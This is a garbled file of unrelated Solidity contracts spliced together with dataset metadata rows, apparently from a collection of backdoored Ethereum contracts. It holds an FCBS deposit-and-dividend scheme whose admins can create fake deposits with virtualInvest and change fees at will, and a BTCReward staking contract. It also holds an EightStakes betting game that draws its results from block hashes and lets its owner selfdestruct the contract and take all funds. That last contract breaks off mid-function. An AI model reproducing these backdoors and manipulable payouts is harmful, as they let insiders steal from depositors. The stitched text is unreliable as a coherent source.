function addWhitelisted(address account) public onlyWhitelistAdmin {
_addWhitelisted(account);
}
function removeWhitelisted(address account) public onlyWhitelistAdmin {
_removeWhitelisted(account);
}
function renounceWhitelisted() public {
_removeWhitelisted(msg.sender);
}
function _addWhitelisted(address account) internal {
_whitelisteds.add(account);
emit WhitelistedAdded(account);
}
function _removeWhitelisted(address account) internal {
_whitelisteds.remove(account);
emit WhitelistedRemoved(account);
}
}
contract FCBS is WhitelistedRole {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256 constant public MAX_DIVIDEND_RATE = 40000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256[] public INTEREST_BASE = [2 ether, 4 ether, 8 ether, 16 ether, 32 ether, 64 ether, 128 ether, 256 ether, 512 ether, 1024 ether, 2048 ether , 4096 ether];
uint256[] public BENEFIT_RATE = [40, 45, 50, 55, 60, 70, 80, 90, 100, 110, 120, 130, 140];
uint256 public MARKETING_AND_TEAM_FEE = 2800;
uint256 public REFERRAL_PERCENT = 500;
uint256 public WRD_ETH_RATE = 10;
uint256 public WITHDRAW_ETH_PERCENT = 8000;
bool public isLimited = true;
uint256 public releaseTime = 0;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public privateSale;
uint256 public waiting = 0;
uint256 public dailyLimit = 100 ether;
uint256 dailyTotalInvest = 0;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
uint256 lastPayment;
}
struct User {
address payable referrer;
uint256 referralAmount;
bool isInvestor;
Deposit[] deposits;
}
address payable public marketingAndTechnicalSupport;
IWRD public wrdToken;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
modifier onlyWhitelistAdminOrWhitelisted() {
require(isWhitelisted(msg.sender) || isWhitelistAdmin(msg.sender));
_;
}
constructor () public {
marketingAndTechnicalSupport = msg.sender;
}
function() external payable {
require(!isLimited || privateSale[msg.sender]);
if(msg.value == 0) {
withdrawDividends(msg.sender);
return;
}
address payable newReferrer = _bytesToAddress(msg.data);
doInvest(msg.sender, msg.value, newReferrer);
}
function _bytesToAddress(bytes memory data) private pure returns(address payable addr) {
assembly {
addr := mload(add(data, 20))
}
}
function withdrawDividends(address payable from) internal {
uint256 dividendsSum = getDividends(from);
require(dividendsSum > 0);
uint256 dividendsWei = dividendsSum.mul(WITHDRAW_ETH_PERCENT).div(ONE_HUNDRED_PERCENTS);
if (address(this).balance <= dividendsWei) {
wave = wave.add(1);
totalInvest = 0;
totalDividend = 0;
dividendsWei = address(this).balance;
emit NewWave();
}
uint256 dividendsWRD = min((dividendsSum.sub(dividendsWei)).div(WRD_ETH_RATE),
wrdToken.balanceOf(address(this)));
wrdToken.addSpecialsaleTokens(from, dividendsWRD);
from.transfer(dividendsWei);
emit UserDividendPayed(from, dividendsWei);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(wallet, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
user.deposits[i].lastPayment = max(now, user.deposits[i].lastPayment);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
}
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(min(user.deposits[index].lastPayment, now));
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest(address from, uint256 investment, address payable newReferrer) internal {
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][from];
if (!user.isInvestor) {
if (newReferrer != address(0)
&& users[wave][newReferrer].isInvestor) {
user.referrer = newReferrer;
emit ReferrerAdded(from, newReferrer);
}
user.isInvestor = true;
emit InvestorAdded(from);
}
if(user.referrer != address(0)){
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
uint256 refBonus = investment.mul(REFERRAL_PERCENT).div(ONE_HUNDRED_PERCENTS);
user.referrer.transfer(refBonus);
}
totalInvest = totalInvest.add(investment);
createDeposit(from, investment);
uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(from, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function createDeposit(address from, uint256 investment) internal {
User storage user = users[wave][from];
if(isLimited){
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(from),
withdrawedRate: 0,
lastPayment: now
}));
emit DepositAdded(from, user.deposits.length, investment);
return;
}
if(now.sub(1 days) > releaseTime.add(waiting.mul(1 days))){
waiting = (now.sub(releaseTime)).div(1 days);
dailyTotalInvest = 0;
}
while(investment > 0){
uint256 investable = min(investment, dailyLimit.sub(dailyTotalInvest));
user.deposits.push(Deposit({
amount: investable,
interest: getUserInterest(from),
withdrawedRate: 0,
lastPayment: max(now, releaseTime.add(waiting.mul(1 days)))
}));
emit DepositAdded(from, user.deposits.length, investable);
investment = investment.sub(investable);
dailyTotalInvest = dailyTotalInvest.add(investable);
if(dailyTotalInvest == dailyLimit){
waiting = waiting.add(1);
dailyTotalInvest = 0;
}
}
}
function getUserInterest(address wallet) public view returns (uint256 rate) {
uint i;
for (i = 0; i < INTEREST_BASE.length; i++) {
if(users[wave][wallet].referralAmount < INTEREST_BASE[i]){
break;
}
}
rate = BENEFIT_RATE[i];
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function max(uint256 a, uint256 b) internal pure returns(uint256) {
if(a > b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendForUserDeposit(address wallet, uint256 index) internal view returns(uint256 dividend) {
User memory user = users[wave][wallet];
dividend = user.deposits[index].amount.mul(dividendRate(wallet, index)).div(ONE_HUNDRED_PERCENTS);
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsWei, uint256 dividendsWatoshi) {
User memory user = users[wave][wallet];
uint256 dividendsSum = 0;
for (uint i = 0; i < user.deposits.length; i++) {
dividendsSum = dividendsSum.add(dividendForUserDeposit(wallet, i));
}
dividendsWei = min(dividendsSum.mul(WITHDRAW_ETH_PERCENT).div(ONE_HUNDRED_PERCENTS), address(this).balance);
dividendsWatoshi = min((dividendsSum.sub(dividendsWei)).div(WRD_ETH_RATE), wrdToken.balanceOf(address(this)));
}
function setWithdrawEthPercent(uint256 newPercent) external onlyWhitelistAdmin {
WITHDRAW_ETH_PERCENT = newPercent;
}
function setDailyLimit(uint256 newLimit) external onlyWhitelistAdmin {
dailyLimit = newLimit;
}
function setReferralBonus(uint256 newBonus) external onlyWhitelistAdmin {
REFERRAL_PERCENT = newBonus;
}
function setWRD(address token) external onlyWhitelistAdmin {
wrdToken = IWRD(token);
}
function changeTeamFee(uint256 feeRate) external onlyWhitelistAdmin {
MARKETING_AND_TEAM_FEE = feeRate;
}
function changeWRDRate(uint256 rate) external onlyWhitelistAdminOrWhitelisted {
WRD_ETH_RATE = rate;
}
function withdrawWRD(uint256 amount) external onlyWhitelistAdmin {
wrdToken.transfer(msg.sender, min(amount, wrdToken.balanceOf(address(this))));
}
function allowPrivate(address wallet) external onlyWhitelistAdminOrWhitelisted {
privateSale[wallet] = true;
User storage user = users[wave][wallet];
user.referralAmount = user.referralAmount.add(INTEREST_BASE[0]);
}
function release() external onlyWhitelistAdmin {
isLimited = false;
releaseTime = now;
}
function virtualInvest(address from, uint256 amount) public onlyWhitelistAdminOrWhitelisted {
User storage user = users[wave][from];
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0,
lastPayment: now
}));
emit DepositAdded(from, user.deposits.length, amount);
}
}
| 164,591 | 579 |
d8ec5b794f2766d134dbe93c8338ff93cf088cfad434334fbda9228239594b62
| 16,737 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TW3sxfsrL7z6LVNW3hE9Gs6orG7Rjy7Tng_BTCReward.sol
| 4,478 | 16,430 |
//SourceUnit: BTCReward.sol
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IRel{
function stakeR(address _ply,uint256 _amount,address _plyParent) external ;
function withdrawR(address _ply,uint256 _amount) external;
function checkParent(address _ply) external view returns(bool,address);
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract TokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public y = IERC20(0x84716914C0fDf7110A44030d04D0C4923504D9CC);
//IERC20 public y = IERC20(0x3A3e639A7970C5c740069F50AB6eaB1502b2539B); // test
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
y.transferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
y.transfer(msg.sender,amount);
}
}
contract BTCReward is TokenWrapper, IRewardDistributionRecipient {
IERC20 public xCoin = IERC20(0x41A97A5EB5F398C79FB666DA87677C8E82EBCCB919);
address public relAddr ;
uint256 public DURATION = 50 days;
uint256 public TIEM5 = 432000;
uint256 public initreward = 25000*1e18;
uint256 public totalReward = 25000*1e18;
uint256 public starttime ;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public waitClearn;
mapping(address => uint256) public InviteReward;
mapping(address => uint256) public plyGetRewardTime;
mapping(address => uint256) public totalInviteReward;
bool public endCalcReward;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(uint256 _startTime,address _rAddr) public{
starttime = _startTime;
periodFinish = starttime.add(DURATION);
rewardRate = initreward.div(DURATION);
relAddr = _rAddr;
rewardDistribution = msg.sender;
}
function setRelAddr(address _relAddr) public onlyRewardDistribution{
relAddr = _relAddr;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function earnedInfo(address account) public view returns(uint256 ,uint256){
uint256 reward = earned(account);
uint256 timeNow = periodFinish;
if(now < periodFinish){
timeNow = now;
}
uint256 timelen = timeNow.sub(plyGetRewardTime[account]);
uint256 fiveAmount;
if(timelen >TIEM5*2){
reward = reward.mul(110).div(100);
fiveAmount = reward.mul(10).div(100);
}else if(timelen > TIEM5){
reward = reward.mul(105).div(100);
fiveAmount = reward.mul(5).div(100);
}
if(totalReward <= reward){
reward = totalReward;
}
bool result;
address parent;
uint256 parentAmount1;
uint256 parentAmount2;
uint256 selfAmount;
bool result2;
address parent2;
(result,parent) = IRel(relAddr).checkParent(account);
if(result){
parentAmount1 = reward.mul(5).div(100);
(result2,parent2) = IRel(relAddr).checkParent(parent);
if(result2){
parentAmount2 = reward.mul(3).div(100);
}
selfAmount = reward.sub(parentAmount1.add(parentAmount2));
}else{
selfAmount = reward;
}
return(selfAmount,fiveAmount);
}
function poolInfo() public view returns(uint256,uint256){
return(super.totalSupply(),totalReward);
}
function stake(uint256 amount,address _plyParent) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot stake 0");
super.stake(amount);
IRel(relAddr).stakeR(msg.sender,amount,_plyParent);
if(plyGetRewardTime[msg.sender] ==0){
plyGetRewardTime[msg.sender] = now;
}
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot withdraw 0");
super._withdraw(amount);
IRel(relAddr).withdrawR(msg.sender,amount);
emit Withdrawn(msg.sender, amount);
}
function withdrawPIW() public checkStart {
require(now >= periodFinish,"not end");
uint256 balanceAmount = waitClearn[msg.sender];
if(balanceAmount > 0){
waitClearn[msg.sender] = 0;
xCoin.safeTransfer(msg.sender,balanceAmount);
}
}
function exit() external {
//require(now <= periodFinish,"not end this exit");
withdraw(balanceOf(msg.sender));
getReward();
withdrawPIW();
}
function getReward() public updateReward(msg.sender) checkStart{
if(endCalcReward && totalReward == 0){
return;
}
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 timeNow = periodFinish;
if(now < periodFinish){
timeNow = now;
}
uint256 timelen = timeNow.sub(plyGetRewardTime[msg.sender]);
if(timelen >TIEM5*2){
reward = reward.mul(110).div(100);
}else if(timelen > TIEM5){
reward = reward.mul(105).div(100);
}
if(totalReward <= reward){
reward = totalReward;
}
totalReward = totalReward.sub(reward);
bool result;
address parent;
uint256 parentAmount1;
uint256 parentAmount2;
uint256 selfAmount;
bool result2;
address parent2;
(result,parent) = IRel(relAddr).checkParent(msg.sender);
if(result){
parentAmount1 = reward.mul(5).div(100);
(result2,parent2) = IRel(relAddr).checkParent(parent);
if(result2){
parentAmount2 = reward.mul(3).div(100);
}
selfAmount = reward.sub(parentAmount1.add(parentAmount2));
}else{
selfAmount = reward;
}
waitClearn[msg.sender] = waitClearn[msg.sender].add(selfAmount);
waitClearn[msg.sender] = waitClearn[msg.sender].add(InviteReward[msg.sender]);
InviteReward[msg.sender] = 0;
InviteReward[parent] = InviteReward[parent].add(parentAmount1);
InviteReward[parent2] = InviteReward[parent2].add(parentAmount2);
totalInviteReward[parent] = totalInviteReward[parent].add(parentAmount1);
totalInviteReward[parent2] = totalInviteReward[parent2].add(parentAmount2);
emit RewardPaid(msg.sender, reward);
}
plyGetRewardTime[msg.sender] = now;
}
function setRewardStop() public onlyRewardDistribution{
endCalcReward = true;
}
modifier checkStart(){
require(block.timestamp > starttime,"not start");
_;
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
rewardRate = reward.div(DURATION);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
}
| 292,703 | 580 |
d1f9e1a92f754013c10cc1f9572f279238d15b23bce8112cc95d287936e0f50d
| 12,395 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9284c4b9da2c97d63bdb930aaa8eb751299fc8d4.sol
| 4,478 | 11,437 |
pragma solidity ^0.4.18;
contract EightStakes {
struct Player {
uint dt;
address oAddress;
int nSpent;
int[] aResults;
mapping (uint => uint) mGasByRoom;
}
struct Room {
address[] aPlayers;
uint[] aLosers;
uint nBid;
uint nStart;
uint nLastPlayersBlockNumber;
}
address private _oSesokaj;
mapping (address => Player) private _mPlayers;
mapping (address => uint8) private _mPlayerRooms;
address[] private _aPlayersBinds;
address[] private _aLosers;
uint private _nRoomNextID;
mapping (uint => Room) private _mRooms;
uint[] private _aRoomsOpened;
uint[] private _aRoomsClosed;
uint private _nMaxArchiveLength;
uint private _nRefundCurrent;
uint private _nRefundLimit;
uint private _nRefundIncrease;
address private _oRefundRecipient;
uint private _nJackpot;
uint private _nJackpotLast;
uint private _nJackpotDiapason;
address private _oJackpotRecipient;
function EightStakes() public {
_oSesokaj = msg.sender;
_nMaxArchiveLength = 300;
_nJackpotDiapason = uint(-1)/(3.5 * 100000);
_nRefundLimit = 8000000000000000000; // 8eth
_nRefundIncrease = 8000000000000000000; // 8eth
_aLosers.length = 10;
}
// PUBLIC
function Bid(uint8 nRoomSize) public payable returns(bool) {
uint8 nRoomType;
int nRoomTypeIndx;
(nRoomType, nRoomTypeIndx) = roomTypeGet(msg.value, nRoomSize);
if (1 > nRoomType)
revert();
ProcessRooms();
//check for rebid
if (0 != _mPlayerRooms[msg.sender] & nRoomType)
revert();
_mPlayerRooms[msg.sender] |= nRoomType;
uint nRoom = roomGet(msg.value, nRoomSize);
Room memory oRoom = _mRooms[nRoom];
uint nPlayer = 0;
for (; oRoom.aPlayers.length > nPlayer; nPlayer++) {
if (1 > oRoom.aPlayers[nPlayer])
break;
if (oRoom.aPlayers[nPlayer] == msg.sender)
revert();
}
uint nGas = msg.gas*800000000;
if (0 < _mPlayers[msg.sender].oAddress) {
_mPlayers[msg.sender].dt = now;
_mPlayers[msg.sender].nSpent += int(nGas);
_mPlayers[msg.sender].aResults[uint(nRoomTypeIndx)] = 0;
} else {
_mPlayers[msg.sender] = Player(now, msg.sender, int(nGas), new int[](5));
_aPlayersBinds.push(msg.sender);
}
_mPlayers[msg.sender].mGasByRoom[nRoom] = nGas;
oRoom.aPlayers[nPlayer] = msg.sender;
if (nPlayer + 1 == oRoom.aPlayers.length) {
oRoom.nStart = now;
oRoom.nLastPlayersBlockNumber = block.number;
}
_mRooms[nRoom] = oRoom;
return true;
}
function IsCheckNeeded(uint nNowDate, uint nMaxInterval) public constant returns(bool) {
for (uint n=0; n<_aRoomsOpened.length; n++) {
if (0 < _mRooms[_aRoomsOpened[n]].nLastPlayersBlockNumber &&
_mRooms[_aRoomsOpened[n]].nStart + nMaxInterval < nNowDate &&
0 < uint(block.blockhash(_mRooms[_aRoomsOpened[n]].nLastPlayersBlockNumber))) {
return true;
}
}
return false;
}
function ProcessRooms() public {
uint[] memory a = new uint[](_aRoomsOpened.length);
uint n = 0;
uint nCurrent = 0;
uint nRoom;
Room memory oRoom;
for (; _aRoomsOpened.length > n; n++) {
oRoom = _mRooms[nRoom = _aRoomsOpened[n]];
if (0 < oRoom.nLastPlayersBlockNumber && 0 < uint(block.blockhash(oRoom.nLastPlayersBlockNumber))) {
result(nRoom);
a[nCurrent++] = n;
}
}
for (n = 0; nCurrent > n; n++)
roomClose(a[n]);
delete a;
}
function LastResult(address oPlayer, uint8 nSize, uint nBid) public constant returns (bool, int) {
uint nPlayer = uint(-1);
uint nDate = 0;
uint nRoom = 0;
uint nRoomCurrent;
Room memory oRoom;
for (uint n=0; _aRoomsClosed.length > n; n++) {
oRoom = _mRooms[nRoomCurrent = _aRoomsClosed[n]];
if (oRoom.aPlayers.length != nSize || oRoom.nBid != nBid || uint(-1) == (nPlayer = playerGet(oRoom, oPlayer)))
continue;
if (oRoom.nStart > nDate) {
nDate = oRoom.nStart;
nRoom = nRoomCurrent;
}
}
if (0 < nDate) {
oRoom = _mRooms[nRoom];
for (n=0; oRoom.aLosers.length > n; n++) {
if (oPlayer == oRoom.aPlayers[oRoom.aLosers[n]])
return(false, int(-oRoom.nBid));
}
return(true, int(prizeCalculate(oRoom)));
}
return(false, 0);
}
//Plenum
//returns a number of players for a room specified by a size and a bid
function Plenum(uint8 nSize, uint nBid) public constant returns (uint8) {
Room memory oRoom;
uint nLength;
for (uint n=0; _aRoomsOpened.length > n; n++) {
oRoom = _mRooms[_aRoomsOpened[n]];
if (nBid == oRoom.nBid && nSize == (nLength = oRoom.aPlayers.length) && 1 > oRoom.aPlayers[--nLength]) {
for (; 0 <= nLength; nLength--) {
if (0 < oRoom.aPlayers[nLength])
return uint8(nLength + 1);
}
}
}
return(0);
}
function State(address[] aTargets) public view returns(uint[4] aPerks, address[2] aPerksRecipients, address[] aLosersAddresses, int[] aLosersBalances, bool[5] aRooms, int[5] aResults) {
aLosersBalances = new int[](_aLosers.length);
uint nLength = _aLosers.length;
uint n = 0;
for (; nLength > n; n++)
aLosersBalances[n] = _mPlayers[_aLosers[n]].nSpent;
for (n = 0; aTargets.length > n; n++) {
uint8 nValue = 1;
for (uint nIndx = 0; aRooms.length > nIndx; nIndx++) {
if (0 < _mPlayerRooms[aTargets[n]]) {
aRooms[nIndx] = aRooms[nIndx] || (0 < (_mPlayerRooms[aTargets[n]] & nValue));
if (2 == nValue)
nValue <<= 3;
else
nValue <<= 1;
}
if (0 == aResults[nIndx] && 0 != _mPlayers[aTargets[n]].oAddress && 0 != _mPlayers[aTargets[n]].aResults[nIndx])
aResults[nIndx] += _mPlayers[aTargets[n]].aResults[nIndx];
}
}
return ([_nJackpot, _nJackpotLast, _nRefundLimit, _nRefundCurrent], [_oJackpotRecipient, _oRefundRecipient], _aLosers, aLosersBalances, aRooms, aResults);
}
function Remove() public {
if (msg.sender == _oSesokaj)
selfdestruct(_oSesokaj);
}
// PRIVATE
//roomTypeGet
//returns two values:
function roomTypeGet(uint nBid, uint8 nSize) private pure returns(uint8, int) {
if (80000000000000000 == nBid) { //0.08eth
if (4 == nSize)
return (1, 0);
if (8 == nSize)
return (16, 2);
}
if (800000000000000000 == nBid) { //0.8eth
if (4 == nSize)
return (2, 1);
if (8 == nSize)
return (32, 3);
}
if (8000000000000000000 == nBid && 8 == nSize) //8eth
return (64, 4);
return (0, -1);
}
function roomClose(uint nOpened) private{
uint n;
if (_aRoomsClosed.length >= _nMaxArchiveLength) {
uint nClosed = 0;
uint nRoom = 0;
uint nDate = uint(-1);
uint nStart;
for (n=0; _aRoomsClosed.length > n; n++) {
if ((nStart = _mRooms[_aRoomsClosed[n]].nStart) < nDate) {
nClosed = n;
nDate = nStart;
}
}
uint nLength = _mRooms[nRoom = _aRoomsClosed[nClosed]].aPlayers.length;
for (n=0; nLength > n; n++) {
delete _mPlayers[_mRooms[nRoom].aPlayers[n]].mGasByRoom[nRoom];
delete _mRooms[nRoom].aPlayers[n];
}
delete _mRooms[nRoom];
_aRoomsClosed[nClosed] = _aRoomsOpened[nOpened];
} else
_aRoomsClosed.push(_aRoomsOpened[nOpened]);
if (nOpened < (n = _aRoomsOpened.length - 1))
_aRoomsOpened[nOpened] = _aRoomsOpened[n];
_aRoomsOpened.length--;
}
function roomGet(uint nBid, uint8 nSize) private returns(uint nRetVal) {
Room memory oRoom;
uint nLength;
for (uint n=0; _aRoomsOpened.length > n; n++) {
nRetVal = _aRoomsOpened[n];
oRoom = _mRooms[nRetVal];
nLength = oRoom.aPlayers.length;
if (nBid == oRoom.nBid && nSize == nLength && 1 > oRoom.aPlayers[nLength - 1])
return;
}
oRoom = Room(new address[](nSize), new uint[](0), nBid, 0, 0);
_mRooms[nRetVal = _nRoomNextID] = oRoom;
_aRoomsOpened[++_aRoomsOpened.length - 1] = _nRoomNextID;
_nRoomNextID++;
return;
}
function playerGet(Room memory oRoom, address oPlayer) private pure returns(uint) {
for (uint8 n=0; oRoom.aPlayers.length > n; n++) {
if (oPlayer == oRoom.aPlayers[n])
return n;
}
return uint(-1);
}
function prizeCalculate(Room memory oRoom) private pure returns (uint) {
return (oRoom.nBid / 4);
}
function result(uint nRoom) private {
Room memory oRoom = _mRooms[nRoom];
if (0 < oRoom.aLosers.length)
revert();
uint8 nSize = uint8(oRoom.aPlayers.length);
bytes32[] memory aHashes;
uint8 nIndx1;
uint8 nIndx2;
(aHashes, nIndx1, nIndx2) = gameCalculate(oRoom);
oRoom.aLosers = new uint[](nSize/4);
oRoom.aLosers[0] = nIndx1;
if (8 == nSize)
oRoom.aLosers[1] = nIndx2;
uint nValue = (oRoom.nBid * oRoom.aPlayers.length / 64);
_nJackpot += nValue;
_nRefundCurrent += nValue;
nValue = prizeCalculate(oRoom);
uint8 nRoomType;
int nRoomTypeIndx;
int nAmount;
(nRoomType, nRoomTypeIndx) = roomTypeGet(oRoom.nBid, nSize);
for (uint n=0; nSize > n; n++) {
if (nIndx1 == n || (8 == nSize && nIndx2 == n))
